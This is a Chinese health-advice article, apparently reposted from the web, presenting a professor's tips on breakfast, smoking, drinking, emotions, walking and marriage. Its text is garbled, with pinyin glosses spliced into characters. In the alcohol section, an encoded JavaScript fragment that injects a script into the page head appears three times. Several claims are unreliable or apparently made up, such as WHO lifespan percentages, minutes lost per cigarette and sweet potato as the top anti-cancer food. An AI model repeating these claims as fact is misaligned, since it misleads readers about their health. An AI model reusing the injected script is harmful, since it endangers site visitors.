近日,，中國首席健康專家，74歲的萬承奎教授做客央視《人物周刊》,，向全國電視觀眾講述了他的健康,、長壽、幸福"秘方"。

１．在健康問題上,，你自己比老天爺管用 ,萬承奎教授說，世界衛(wèi)生組織規(guī)定,，個人的健康和壽命15%決定于遺傳,，10%決定于社會因素，8%決定于醫(yī)療條件,，7%決定于氣候影響,，60%決定于自己。在這個問題上,，你自己比老天爺管用,。
        你知道嗎？吃飯一定要是：早上吃好,，中午吃飽,，晚上吃少。現(xiàn)在的人相反了,，早上馬虎,，中午對付，晚上大吃大喝,，這就是百病之根,。早上這頓飯，等于吃補藥,，是最重要的一頓飯,，一定要吃營養(yǎng)早餐。
          營養(yǎng)早餐必須具備四樣東西：牛奶,、豆?jié){,、雞蛋或者肉，主食必須要有蔬菜加水果,。假如只有兩種以下的營養(yǎng)早餐,，就屬于低質量早餐。現(xiàn)在我們中國人20%不吃早餐,，50%—60%不會吃早餐,，早餐營養(yǎng)不好，中午,、晚上是補不回來的,。

２．全世界最不好的習慣是抽煙
        全世界最不好的五種習慣里面，第一號不好的習慣就是抽煙,。一生吸煙的人,，要少活20年到25年，吸一次煙,，少活11分鐘,。我為什么比較年輕,，比較健康，我一輩子沒抽過煙,。誰在我面前抽煙,，對不起，請你到外頭抽,，你可以自殺,，你不能殺人。大清早一起床就抽煙,，尤其危害大,。抽煙的人，氣管炎,，肺氣腫,，肺心病，最后肺癌,，這是死亡三部曲,。

３．營養(yǎng)過剩一樣中毒
        營養(yǎng)過剩了一樣中毒。你記住,，一天吃東西有規(guī)定的：一,、二、三,、四,、五、六,。每天一盤蔬菜,，必須要八兩到一斤；每天兩個水果,；每天三勺清油,，不要超過25克；每天四兩米飯或四個饅頭,；每天五種優(yōu)質高蛋白,，肉、蛋,、奶,、魚、豆,，但有量規(guī)定,，一兩肉，一個雞蛋，牛奶半斤到一斤,，豆腐一塊或者一碗豆?jié){,、豆腐腦，肉,、蛋,、奶、魚30克不要超過一兩,，六杯水或者六克鹽。現(xiàn)在講八杯水,，每天一定要喝八杯水,。因為水就是人的生命。現(xiàn)在很多人不會喝水,，渴了才喝,。錯了，一定有空就喝,，不是渴了再喝,。八杯茶行嗎？茶不行,，八杯咖啡呢,？飲料、咖啡,、啤酒都不能代替水,。要喝茶也喝淡茶，不能喝濃茶,。千萬記住,，水是人的生命.                                                                           

４．人不是老死的，不是病死的,，是氣死的 人哪能不生氣,？人是感情動物，喜怒憂思悲恐驚,。高興就要笑,，不高興就要哭，生起氣來還要罵兩句呢,，這是人感情豐富的表現(xiàn),。假如人只有一種感情，這個人就不健康,。
       一個人感情很豐富,，該怎么樣就怎么樣，但是你千萬記住：第一個不要過度,，第二個過度了但是不要長時間,，很快就調整過來，這才是健康的,。
        《黃帝內經(jīng)》早就講得很清楚：“怒傷肝,，喜傷心，憂傷肺,，思傷脾,，恐傷腎，百病皆生于氣,?！敝v得很絕。很多人說老實話,，不是老死的,，不是病死的，是氣死的,。當不了官,，氣死了；提不了教授,，氣死了,；賺不了錢，氣死了,；很多老年人為很小的事,，氣死了，我這里有很多例子,。
         所以我說人“不能不生氣,，但一定要會生氣；一定不要當情緒的俘虜,，一定要做情緒的主人,；一定要去駕馭情緒，不要讓情緒駕馭你,?！?

５．走路是非常好的鍛煉方式
        什么東西都是個度，吃飯是個度,，睡覺是個度,，鍛煉也是個度。不鍛煉不好,，過度鍛煉也會降低免疫功能,。每天鍛煉半個小時到一個小時,，鍛煉內容可以采取最簡單的辦法，走半個小時,，光走路就行了,，這是最簡單、最經(jīng)濟,、最有效的辦法,。但是走也是有講究的，年輕人要快走,，逐步快走,，快到什么程度，一分鐘要達到130步,，心跳要達到一分鐘120次,，才能達到鍛煉心臟的目的。達到130步,、120次心跳，當然不是一下子就能完成,，要有個逐步適應過程,，你這樣堅持半年，你的心肺功能可以大大提高,，提高30%到50%,。 一個人一定要從年輕開始，保持你的標準體重,。像我30年就這種體形,，軍人體形。一旦胖了以后,，你想把它降下來談何容易,，實際上不是不容易，關鍵在哪兒,？控制嘴,、多動腿，人就是“死在嘴上,，懶在腿上”,。

６．喝醉一次白酒，等于得一次急性肝炎
         世界提出六種最不健康的生活方式：第一是吸煙,，第二是酗酒,，過量飲酒。少量喝還有好處,，比如每天喝白酒一兩,，喝葡萄酒尤其紅葡萄酒二兩,，啤酒半斤到一斤。過多了以后傷害身體,，傷肝,，傷腦，傷心,，傷各個臟器,。
cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A">cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A">cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A">喝醉一次白酒,，等于得一次急性肝炎,。大家記住，喝酒不僅傷肝,，為什么喝酒多的人,，記憶力不行，認知能力下降,？因為大腦細胞大量死亡,。一天一兩白酒，這叫安全量,。                                                                                                    

 ７．家庭不和睦,，人就會生病 有專家認為，人的疾病70%來自家庭,，人們的癌癥50%來自家庭,，你說家庭重要不重要？這說明家庭的重要,。在家里千萬不要“小吵天天有,，大吵三六九”，也不要成為一個死水家庭,，不吵架,，不說話，半個月都不說話,，那不得憋死啊,。
         我還曾經(jīng)看到過一個報導,，說是離婚人士、喪偶人士壽命偏短,，這個有科學依據(jù),。孤獨比貧窮更可怕，夫妻恩愛的長壽,，夫妻健在的長壽,，孤獨的就容易出問題，容易短壽,，這是普遍規(guī)律,。但怎么樣把家庭搞和睦了，這是一門學問必須解決四個問題：第一,，要尊敬老人,；第二要教育好子女；第三要處理好婆媳關系,；第四,，這條尤其重要，夫妻要恩愛,，這是核心,。
        夫妻怎么恩愛？要做到八互原則,。互敬,、互愛,、互信、互幫,、互慰,、互勉、互讓,、互諒,。人都有個性，都有毛病,，要經(jīng)常提醒自己：算了,，讓著她(他）吧，她（他）只要高興就行了,。/所以我再說一下,，對自己的愛人千萬記住，不僅年輕時愛她（他）,，老了更要愛她（他）,；不僅健康時愛她（他）,，有病更要愛她（他）；不僅愛他（她）的優(yōu)點,，也要愛他（她）的缺點,。

８．用腦子吃飯保健康
         每天健康生活，要做到七個方面,；第一,，一定要吃好3頓飯；第二,，一定要睡好8個小時覺,；第三，每天堅持運動半個小時,；第四,，每天要笑30分鐘，身心健康,；第五,，很特殊的，每天一定要會大便,。人們只管這一頭,，不管那一頭，它都是自然的,，拉不出來你硬拉也不行,；第六，一定要跟愛人搞好關系,，每天給愛人說3句他（她）喜歡聽的話,。老婆關系搞不好，你啥事也弄不成,。當然了,，女人也要跟老公搞好關系；第七,，不吸煙,，不酗酒，每天齊步走,。
健康要從每一天開始,，每天健康，就一生健康,。一定要記住我那幾句話：“能吃能喝不健康,，會吃會喝才健康，胡吃胡喝要遭殃,?！薄坝枚亲映燥埱鬁仫?，用嘴巴吃飯講享受，用腦子吃飯保健康,?！币龅剑骸盎实鄣脑绮停蟪嫉闹胁?，叫花子的晚餐,。”                                                                                                                                                            

９．紅薯是世界上最好的食品 請大家記住一個原則,，吃植物性的東西,，一定要占70%—80%，動物性的東西只能占20%—30%,。
        我們現(xiàn)在相反了,，所以很多病都來了，肥胖也來了,，糖尿病也來了,，痛風也來了。不能不吃蔬菜,，不吃水果,，現(xiàn)在尤其是孩子不吃蔬菜，很多人沒有吃水果的習慣,，大家記住,，一天兩到四種水果，三到五種蔬菜,，綜合抗癌,，保護心臟，這是21世紀營養(yǎng)新戰(zhàn)略,。! 紅薯（地瓜）是世界上最好的食品，日本曾經(jīng)是得癌癥最多的國家,，為了把癌癥減少,，日本人想了很多辦法，沒有效果,，最后慢慢找到了,，他們把所有蔬菜做了篩選，選出20種抗癌蔬菜,，熟紅薯,、生紅薯是第一號、第二號抗癌蔬菜,、抗癌的,、保護心臟的,、軟化血管的、通便的,，都離不開這兩樣,。
珍惜生命！從現(xiàn)在開始養(yǎng)成良好的習慣吧,！
        

 健康是1,，其他的一切都是零，只有擁有的健康1,，再擁有了其他的諸如好的工作,、事業(yè)、生活等等這些0,，就會變成100,、1000、10000了,！
只要擁有了健康這個1,，其他你擁有的越多的那些0，你就會越是美滿幸福了,！雨過風輕真誠的祝福朋友們心想事成,！